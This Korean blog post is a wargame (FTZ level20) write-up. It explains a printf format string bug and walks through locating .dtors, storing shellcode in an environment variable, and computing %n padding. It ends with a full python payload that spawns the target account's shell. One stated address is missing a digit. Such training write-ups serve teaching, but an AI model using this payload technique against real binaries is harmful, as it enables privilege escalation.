마지막 문제다. 문제를 보면 fgets로 정상 범주안의 길이의 input을 버퍼에 입력한다.

그래서 지금까지의 오버플로우와는 다른 문제인 것 같다. printf를 자세히 보면 포맷스트링이 없다.

포맷스트링 버그가 일어날 수 있는 문제다.


일단 tmp에 공격 프로그램을 복사하고 인자로 포맷스트링을 주었다.

네번째 포맷스트링에서 처음 입력했던 AAAA의 16진수 값이 나왔다.


이제 페이로드에 필요한 것들을 준비해야한다.

먼저 쉘코드를 입력해야하는데 일단 지금까지 자주 사용했던 25바이트 쉘코드를 사용할 것이다.

근데 오버플로우를 일으켜 스택에 쉘코드를 넣을 수 없다. 하지만 포맷스트링 취약점에 대해 검색을 해본다면 dtors를 이용해 쉘코드 주소를 저장하고 실행 시킬 수 있다.

일단 dtors의 주소를 찾는 방법이다.


두가지가 있다.

1. objdump -s -j .dtors ./attackme

2. nm ./attackme | more


첫번째 방법을 이용해 주소를 찾았다. 0x08049594이다. 하지만 쉘코드를 입력해야 할 주소는 저기보다 +4바이트된 dtors_end 주소(0x08049598)이다.


그리고 이제 쉘코드를 환경변수에 저장하자.

Nop sled는 적당히 100바이트를 붙였다.


그리고 코드를 짜서 환경변수 주소를 읽어올 수 있지만 gdb로 스택에 있는 환경변수 위치를 직접 찾았다.

우리가 공략할 주소는 0xbfffbd0이다.


이제 필요한 정보를 다 얻었으니 페이로드를 작성해야한다.

페이로드는 대략 아래와 같다.

 [4바이트 더미]+[dtors 앞 주소]+[4바이트 더미]+[dtors 뒷 주소]+[%8x*3]+[쉘코드주소의 뒤 주소의 10진수 값c]+"%n"+[쉘코드주소의 앞 주소의 10진수 값c]+"%n"


일단 dtors의 앞 주소는 0x08049598이고 뒷 주소는 0x0804959a다.

그리고 쉘코드 주소의 뒤 주소의 10진수 값은 64464(0xfbd0)인데 이미 40바이트가 앞에 있으므로 64464-40인 64424바이트를 넣으면 된다.


또한 쉘코드 주소의 앞 주소의 10진수 값은 49151(0xbfff)이고 49151을 만들려면 앞에 입력된 64424바이트를 빼줘야한다. 

즉 50223바이트를 넣어주면 된다.

이제 페이로드를 완성해보자.


PAYLOAD

(python -c 'print "AAAA"+"\x98\x95\x04\x08"+"AAAA"+"\x9a\x95\x04\x08"+"%8x"*3+"%64424c"+"%n"+"%50223c"+"%n"';cat) | ./attackme


clear의 쉘과 비밀번호를 얻었다.


클리어 계정에 로그인을 했고 ftz도 올클리어를 했다. 

'Wargame > FTZ' 카테고리의 다른 글

[FTZ] level19@ftz  (0) 2017.11.26
[FTZ] level18@ftz  (0) 2017.11.26
[FTZ] level17@ftz  (0) 2017.11.25
[FTZ] level16@ftz  (0) 2017.11.25
[FTZ] level15@ftz  (0) 2017.11.23

+ Recent posts